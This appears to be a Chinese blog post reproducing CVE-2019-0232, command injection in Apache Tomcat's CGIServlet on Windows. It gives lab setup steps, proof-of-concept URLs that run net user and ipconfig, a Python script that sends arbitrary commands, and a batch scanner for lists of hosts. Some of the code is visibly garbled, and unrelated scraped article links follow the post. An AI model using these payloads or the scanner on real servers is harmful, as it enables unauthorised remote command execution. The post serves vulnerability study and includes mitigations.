Tomcat CGIServlet enableCmdLineArguments远程代码执行_CVE-2019-0232漏洞复现

一、漏洞描述

该漏洞是由于tomcat CGI将命令行参数传递给Windows程序的方式存在错误,使得CGIServlet被命令注入影响。成功利用此漏洞可允许远程攻击者在目标服务器上执行任意命令,从而导致服务器被完全控制。

该漏洞只影响windows平台,要求启用CGI Servlet和enableCmdLineArguments参数。但是CGI Servlet默认关闭, enableCmdLineArguments在tomcat 9.0之后默认关闭

触发该漏洞需要同时满足以下条件:

1、 系统为windows

2、 启用了CGI Servlet(默认为关闭)

3、 启用了enableCmdLineArguments(tomcat 9.0之后默认为关闭)

二、影响版本

Apache Tomcat 9.0.0.M1 to 9.0.17

Apache Tomcat 8.5.0 to 8.5.39

Apache Tomcat 7.0.0 to 7.0.93

三、漏洞环境

目标机:windows 7

jdk_8u71

apache tomcat 8.5.2

1、 java环境搭建,jdk下载、安装

下载地址:http://www.oracle.com/technetwork/java/javase/downloads/index.html

2、 测试java环境

  

3、tomcat下载、安装

下载地址: https://archive.apache.org/dist/tomcat/

4、 tomcat环境测试

  

四、漏洞复现

1、 打开Tomcat安装目录的C:\Program Files (x86)\Apache Software Foundation\Tomcat 8.5\conf\web.xml修改为如下配置,在默认情况下配置是注释的

  

2、同时还要修改web.xml以下配置,否则访问cgi目录会提示404

  

3、修改C:\Program Files (x86)\Apache Software Foundation\Tomcat 8.5\conf\context.xml,添加privileged="true"

  

4、在C:\Program Files (x86)\Apache Software Foundation\Tomcat 8.5\webapps\ROOT\WEB-INF目录新建一个cgi-bin文件夹,在cgi-bin文件夹下创建一个hello.bat的文件,内容如下:

  

5、 漏洞利用

POC如下:  #必须使用URL编码进行访问

http://192.168.10.171:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cnet.exe+user

http://192.168.10.171:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cipconfig

  

  

6、使用python脚本验证目标是否存在漏洞

  脚本如下:

#author:yuzly
#description:
#http://192.168.10.171:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cipconfig import requests
import sys url=sys.argv[]
url_dir="/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5C"
cmd=sys.argv[] vuln_url=url+url_dir+cmd print("Usage:python cve-2019-0232.py url cmd")
print("the vuln url:\n\n",vuln_url)
r=requests.get(vuln_url)
r.encoding = 'gbk'
print("\nthe vuln response content:\n\n",r.text)

7、运行脚本

  

8、 编写批量自动化验证cve-2018-0232漏洞脚本

#author:yuzly
#blogs:https://www.cnblogs.com/yuzly/
#description:
#http://192.168.10.171:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cipconfig import requests
import sys url_dir="/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cipconfig" #payload with open("url.txt") as f:
while True:
url=f.readline()
if url:
url=url.split("\n")[]
#print(url)
vuln_url=url+url_dir
#print(vuln_url)
try:
r=requests.get(vuln_url)
#print(r.text)
if "IPv4" in r.text:
print("[+][+]%s is exist vulnerability[+][+]" %url)
else:
print("[-]%s is not exist vuln" %url)
except:
print("[!]%s is connection fail[!]" %url)
else:
break

9、 搭建环境测试,运行脚本

  

五、漏洞防御

1、 升级版本

2、 关闭enableCmdLineArguments参数

---------------------------------------------------------------------------------------

参考资料:https://xz.aliyun.com/t/4875

https://github.com/jas502n/CVE-2019-0232

Tomcat CGIServlet enableCmdLineArguments远程代码执行_CVE-2019-0232漏洞复现的更多相关文章

  1. ecshop 全系列版本网站漏洞 远程代码执行sql注入漏洞

    ecshop漏洞于2018年9月12日被某安全组织披露爆出,该漏洞受影响范围较广,ecshop2.73版本以及目前最新的3.0.3.6.4.0版本都受此次ecshop漏洞的影响,主要漏洞是利用远程代码 ...

  2. Discuz! ML远程代码执行(CVE-2019-13956)

    Discuz! ML远程代码执行(CVE-2019-13956) 一.漏洞描述 该漏洞存在discuz ml(多国语言版)中,cookie中的language可控并且没有严格过滤,导致可以远程代码执行 ...

  3. 最新漏洞:Spring Framework远程代码执行漏洞

    Spring Framework远程代码执行漏洞 发布时间 2022-03-31 漏洞等级 High CVE编号 CVE-2022-22965 影响范围:同时满足以下三个条件可确定受此漏洞影响: JD ...

  4. Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现

    Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现  一.     漏洞简介 漏洞编号和级别 CVE编号:CVE-2019-0232,危险级别:高危,CVSS分值:官方 ...

  5. 【漏洞公告】CVE-2017-12615/CVE-2017-12616:Tomcat信息泄漏和远程代码执行漏洞

    2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定 ...

  6. Tomcat/7.0.81 远程代码执行漏洞复现

    Tomcat/7.0.81 远程代码执行漏洞复现 参考链接: http://www.freebuf.com/vuls/150203.html 漏洞描述: CVE-2017-12617 Apache T ...

  7. 【漏洞复现】Tomcat CVE-2017-12615 远程代码执行漏洞

    漏洞描述 [漏洞预警]Tomcat CVE-2017-12615远程代码执行漏洞/CVE-2017-12616信息泄漏 https://www.secfree.com/article-395.html ...

  8. [工具]Tomcat CVE-2017-12615 远程代码执行

    工具: K8_TocmatExp编译: VS2012  C# (.NET Framework v2.0)组织: K8搞基大队[K8team]作者: K8拉登哥哥博客: http://qqhack8.b ...

  9. 【研究】Tomcat远程代码执行漏洞(CVE-2017-12615)

    一.Tomcat远程代码执行漏洞(CVE-2017-12615) 1.1       实验环境 操作机:windows 10                         IP:192.168.1. ...

随机推荐

  1. /etc/passwd和/etc/group文件详解

    用户管理 想要知道, 系统中有哪些用户, 可以查看这个文件: /etc/passwd root:x:::root:/root:/bin/bash bin:x:::bin:/bin:/sbin/nolo ...

  2. .Net DateTime跨时区相关问题

    项目:.Net CS结构,WCF通信,MySql存储. 场景:客户端(UTC+07:00)获取本地时间(DateTime对象)2017-01-17 15:20:12,通过WCF(http)传输至服务端 ...

  3. Android零基础入门第77节:Activity任务栈和启动模式

    通过前面的学习,Activity的基本使用都已掌握,接下来一起来学习更高级的一些内容. Android采用任务栈(Task)的方式来管理Activity的实例.当启动一个应用时,Android就会为之 ...

  4. C#字符类型

    C#字符串类型采用Unicode字符集,一个Unicode标准字符长度位16位,它允许用单个编码方案表示世界上使用的所有字符. 字符类型表示位char. 关于字符的转义:C#也可以使用字符转义,用   ...

  5. delphi控件安装(安装ODAC、TeeChart、TServerSocket、TWSocketServer、TComm)

    一.oracle插件安装delphi7如何安装oracle access控件 假设ODAC主目录在 D:\dzj\odac Delphi7主目录在 D:\Program Files\Borland\D ...

  6. HTML5 拖放并删除效果的简单实现

    Html5 支持元素drag drop的功能需求,以后实现这类效果会简单很多.. 详细的文档说明在这里 代码如下所示:

  7. WebRequest请求错误(服务器提交了协议冲突. Section=ResponseHeader Detail=CR 后面必须是 LF)

    WebRequest请求错误(服务器提交了协议冲突. Section=ResponseHeader Detail=CR 后面必须是 LF)解决办法,天津config文件,增加一个配置如下 <?x ...

  8. 解除.NET中虚拟路径的疑惑

    今天部署产品时,发现一个涉及到路径错误的bug,在开发环境下都OK,但是到了测试环境中却一直报错,经过一番排查,原来错误出在了HttpContext.Current.Server.MapPath这个方 ...

  9. Hadoop集群(第5期)SecureCRT使用

    1.SecureCRT简介   SecureCRT是一款支持SSH(SSH1和SSH2)的终端仿真程序,同时支持Telnet和rlogin协议.SecureCRT是一款用于连接运行包括Windows. ...

  10. Laravel5.x的php artisan migrate数据库迁移创建操作报错SQLSTATE[42000]解决

    Laravel5.x运行迁移命令创建数据表:php artisan migrate报错. Illuminate\Database\QueryException  : SQLSTATE[42000]: ...